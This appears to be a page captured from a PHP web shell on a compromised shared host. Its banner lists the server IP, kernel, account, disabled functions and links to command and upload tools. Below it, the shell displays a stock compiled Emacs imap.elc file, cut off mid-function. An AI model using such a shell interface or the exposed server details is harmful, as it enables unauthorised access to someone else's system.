Server IP : 111.118.215.189 / Your IP : 3.131.85.46 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/net/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:10:32 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/net/imap.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\204 \302\301\303\304B\"\210\305\306\307\"\210\305\310\307\"\210\305\311\312\"\210\305\313\314\"\210\305\315\314\"\210\305\316\314\"\210\305\317\314\"\210\305\320\321\"\210\305\322\323\"\210\305\324\323\"\210\305\325\326\"\210\305\327\326\"\210\305\330\331\"\210\332\333\334\335\336\337\340\341&\210\342\343\344\345\340\333\346\347&\210\342\350\351\352\340\333\346\353&\210\342\354\355\356\340\333\346\357&\210\342\360\361\362\340\333\346\363&\210\342\364\334\365\336\366\340\333\346\367& \210\342\370\371\372\340\333\346\367&\210\342\373\334\374\340\333\346\367&\210\342\375\334\376\340\333\346\367&\210\342\377\201@ \201A \340\333\346\201B &\210\342\201C \201D \201E \340\333\346\201B &\210\342\201F \201G \201H \346\201I \340\333&\210\342\201J \334\201K \340\333\346\367&\207" [fboundp declare-function defalias macro #[(&rest r) "\300\207" [nil] 1] autoload starttls-open-stream "starttls" starttls-negotiate sasl-find-mechanism "sasl" digest-md5-parse-digest-challenge "digest-md5" digest-md5-digest-response digest-md5-digest-uri digest-md5-challenge rfc2104-hash "rfc2104" utf7-encode "utf7" utf7-decode format-spec "format-spec" format-spec-make open-tls-stream "tls" custom-declare-group imap nil "Low-level IMAP issues." :version "21.1" :group mail custom-declare-variable imap-kerberos4-program '("imtest -m kerberos_v4 -u %l -p %p %s" "imtest -kp %s %p") "List of strings containing commands for Kerberos 4 authentication.\n%s is replaced with server hostname, %p with port to connect to, and\n%l with the value of `imap-default-user'. The program should accept\nIMAP commands on stdin and return responses to stdout. Each entry in\nthe list is tried until a successful connection is made." :type (repeat string) imap-gssapi-program (list (concat "gsasl %s %p " "--mechanism GSSAPI " "--authentication-id %l") "imtest -m gssapi -u %l -p %p %s") "List of strings containing commands for GSSAPI (krb5) authentication.\n%s is replaced with server hostname, %p with port to connect to, and\n%l with the value of `imap-default-user'. The program should accept\nIMAP commands on stdin and return responses to stdout. Each entry in\nthe list is tried until a successful connection is made." (repeat string) imap-ssl-program '("openssl s_client -quiet -ssl3 -connect %s:%p" "openssl s_client -quiet -ssl2 -connect %s:%p" "s_client -quiet -ssl3 -connect %s:%p" "s_client -quiet -ssl2 -connect %s:%p") "A string, or list of strings, containing commands for SSL connections.\nWithin a string, %s is replaced with the server address and %p with\nport number on server. The program should accept IMAP commands on\nstdin and return responses to stdout. Each entry in the list is tried\nuntil a successful connection is made." (choice string (repeat string)) imap-shell-program '("ssh %s imapd" "rsh %s imapd" "ssh %g ssh %s imapd" "rsh %g rsh %s imapd") "A list of strings, containing commands for IMAP connection.\nWithin a string, %s is replaced with the server address, %p with port\nnumber on server, %g with `imap-shell-host', and %l with\n`imap-default-user'. The program should read IMAP commands from stdin\nand write IMAP response to stdout. Each entry in the list is tried\nuntil a successful connection is made." (repeat string) imap-process-connection-type "Value for `process-connection-type' to use for Kerberos4, GSSAPI, shell, and SSL.\nThe `process-connection-type' variable controls the type of device\nused to communicate with subprocesses. Values are nil to use a\npipe, or t or `pty' to use a pty. The value has no effect if the\nsystem has no ptys or if all ptys are busy: then a pipe is used\nin any case. The value takes effect when an IMAP server is\nopened; changing it after that has no effect." "22.1" boolean imap-use-utf7 t "If non-nil, do utf7 encoding/decoding of mailbox names.\nSince the UTF7 decoding currently only decodes into ISO-8859-1\ncharacters, you may disable this decoding if you need to access UTF7\nencoded mailboxes which doesn't translate into ISO-8859-1." imap-log "If non-nil, an imap session trace is placed in `imap-log-buffer'.\nNote that username, passwords and other privacy sensitive\ninformation (such as e-mail) may be stored in the buffer.\nIt is not written to disk, however. Do not enable this\nvariable unless you are comfortable with that.\n\nSee also `imap-debug'." imap-debug "If non-nil, trace imap- functions into `imap-debug-buffer'.\nUses `trace-function-background', so you can turn it off with,\nsay, `untrace-all'.\n\nNote that username, passwords and other privacy sensitive\ninformation (such as e-mail) may be stored in the buffer.\nIt is not written to disk, however. Do not enable this\nvariable unless you are comfortable with that.\n\nThis variable only takes effect when loading the `imap' library.\nSee also `imap-log'." imap-shell-host "gateway" "Hostname of rlogin proxy." string imap-default-user (user-login-name) "Default username to use." imap-read-timeout (if (string-match "windows-nt\\|os/2\\|cygwin" (symbol-name system-type)) 1.0 0.1) "How long to wait between checking for the end of output.\nShorter values mean quicker response, but is more CPU intensive." number imap-store-password "If non-nil, store session password without prompting."] 10) #@51 Hooks called after receiving each FETCH response. (defvar imap-fetch-data-hook nil (#$ . 5837)) #@68 Priority of streams to consider when opening connection to server. (defvar imap-streams '(gssapi kerberos4 starttls tls ssl network shell) (#$ . 5939)) #@193 Definition of network streams. (NAME CHECK OPEN) NAME names the stream, CHECK is a function returning non-nil if the server support the stream and OPEN is a function for opening the stream. (defvar imap-stream-alist '((gssapi imap-gssapi-stream-p imap-gssapi-open) (kerberos4 imap-kerberos4-stream-p imap-kerberos4-open) (tls imap-tls-p imap-tls-open) (ssl imap-ssl-p imap-ssl-open) (network imap-network-p imap-network-open) (shell imap-shell-p imap-shell-open) (starttls imap-starttls-p imap-starttls-open)) (#$ . 6098)) #@71 Priority of authenticators to consider when authenticating to server. (defvar imap-authenticators '(gssapi kerberos4 digest-md5 cram-md5 login anonymous) (#$ . 6629)) #@236 Definition of authenticators. (NAME CHECK AUTHENTICATE) NAME names the authenticator. CHECK is a function returning non-nil if the server support the authenticator and AUTHENTICATE is a function for doing the actual authentication. (defvar imap-authenticator-alist '((gssapi imap-gssapi-auth-p imap-gssapi-auth) (kerberos4 imap-kerberos4-auth-p imap-kerberos4-auth) (sasl imap-sasl-auth-p imap-sasl-auth) (cram-md5 imap-cram-md5-p imap-cram-md5-auth) (login imap-login-p imap-login-auth) (anonymous imap-anonymous-p imap-anonymous-auth) (digest-md5 imap-digest-md5-p imap-digest-md5-auth)) (#$ . 6803)) #@36 Error codes from the last command. (defvar imap-error nil (#$ . 7415)) #@287 Close server immediately if it can't logout in this number of seconds. If it is nil, never close server until logout completes. Normally, the value of this variable will be bound to a certain value to which an application program that uses this module specifies on a per-server basis. (defvar imap-logout-timeout nil (#$ . 7493)) (defconst imap-default-port 143) (defconst imap-default-ssl-port 993) (defconst imap-default-tls-port 993) (defconst imap-default-stream 'network) (defconst imap-coding-system-for-read 'binary) (defconst imap-coding-system-for-write 'binary) (defconst imap-local-variables '(imap-server imap-port imap-client-eol imap-server-eol imap-auth imap-stream imap-username imap-password imap-current-mailbox imap-current-target-mailbox imap-message-data imap-capability imap-id imap-namespace imap-state imap-reached-tag imap-failed-tags imap-tag imap-process imap-calculate-literal-size-first imap-mailbox-data)) (defconst imap-log-buffer "*imap-log*") (defconst imap-debug-buffer "*imap-debug*") (defvar imap-stream nil) (defvar imap-auth nil) (defvar imap-server nil) (defvar imap-port nil) (defvar imap-username nil) (defvar imap-password nil) (defvar imap-last-authenticator nil) (defvar imap-calculate-literal-size-first nil) #@96 IMAP state. Valid states are `closed', `initial', `nonauth', `auth', `selected' and `examine'. (defvar imap-state 'closed (#$ . 8754)) #@38 The EOL string sent from the server. (defvar imap-server-eol " \n" (#$ . 8895)) #@39 The EOL string we send to the server. (defvar imap-client-eol " \n" (#$ . 8981)) #@23 Current mailbox name. (defvar imap-current-mailbox nil (#$ . 9068)) #@54 Current target mailbox for COPY and APPEND commands. (defvar imap-current-target-mailbox nil (#$ . 9142)) #@28 Obarray with mailbox data. (defvar imap-mailbox-data nil (#$ . 9254)) #@32 Length of `imap-mailbox-data'. (defvar imap-mailbox-prime 997 (#$ . 9330)) #@25 Current message number. (defvar imap-current-message nil (#$ . 9411)) #@28 Obarray with message data. (defvar imap-message-data nil (#$ . 9487)) #@32 Length of `imap-message-data'. (defvar imap-message-prime 997 (#$ . 9563)) #@24 Capability for server. (defvar imap-capability nil (#$ . 9644)) #@35 Identity of server. See RFC 2971. (defvar imap-id nil (#$ . 9714)) #@31 Namespace for current server. (defvar imap-namespace nil (#$ . 9787)) #@52 Lower limit on command tags that have been parsed. (defvar imap-reached-tag 0 (#$ . 9863)) #@207 Alist of tags that failed. Each element is a list with four elements; tag (a integer), response state (a symbol, `OK', `NO' or `BAD'), response code (a string), and human readable response text (a string). (defvar imap-failed-tags nil (#$ . 9961)) #@21 Command tag number. (defvar imap-tag 0 (#$ . 10215)) #@10 Process. (defvar imap-process nil (#$ . 10274)) #@129 Non-nil indicates that the server emitted a continuation request. The actual value is really the text on the continuation line. (defvar imap-continuation nil (#$ . 10329)) #@196 List of response tags and callbacks, on the form `(number . function)'. The function should take two arguments, the first the IMAP tag and the second the status (OK, NO, BAD etc) of the command. (defvar imap-callbacks nil (#$ . 10508)) #@433 Send FETCH UID commands as *:* instead of *. When non-nil, use an alternative UIDS form. Enabling appears to be required for some servers (e.g., Microsoft Exchange 2007) which otherwise would trigger a response 'BAD The specified message set is invalid.'. We don't unconditionally use this form, since this is said to be significantly inefficient. This variable is set to t automatically per server if the canonical form fails. (defvar imap-enable-exchange-bug-workaround nil (#$ . 10751)) #@307 Delete by side effect any elements of ALIST whose car is `equal' to KEY. The modified ALIST is returned. If the first member of ALIST has a car that is `equal' to KEY, there is no way to remove it by side effect; therefore, write `(setq foo (remassoc key foo))' to be sure of changing the value of `foo'. (defalias 'imap-remassoc #[(key alist) "\205 \211@@)\232\203 A\207\303 A\"\241\210\207" [alist key x imap-remassoc] 5 (#$ . 11252)]) #@41 Enable multibyte in the current buffer. (defalias 'imap-disable-multibyte '(macro . #[nil "\300\207" [(set-buffer-multibyte nil)] 1 (#$ . 11707)])) (defalias 'imap-utf7-encode #[(string) "\203 \205 \302\303\304\217\207 \207" [imap-use-utf7 string nil (utf7-encode string t) ((error (message "imap: Could not UTF7 encode `%s', using it unencoded..." string) string))] 3]) (put 'imap-utf7-encode 'byte-optimizer 'byte-compile-inline-expand) (defalias 'imap-utf7-decode #[(string) "\203 \205 \302\303\304\217\207 \207" [imap-use-utf7 string nil (utf7-decode string t) ((error (message "imap: Could not UTF7 decode `%s', using it undecoded..." string) string))] 3]) (put 'imap-utf7-decode 'byte-optimizer 'byte-compile-inline-expand) (defalias 'imap-ok-p #[(status) "\302=\203 \303\207\304\207" [status imap-error OK t nil] 2]) (put 'imap-ok-p 'byte-optimizer 'byte-compile-inline-expand) (defalias 'imap-error-text #[(&optional buffer) "r\206 pq\210\302 @8)\207" [buffer imap-failed-tags 3] 2]) (defalias 'imap-log #[(string-or-buffer) "\205# r\303 !q\210\304\305!\210\306 \210db\210\307\n!\203 \310\n!\202\"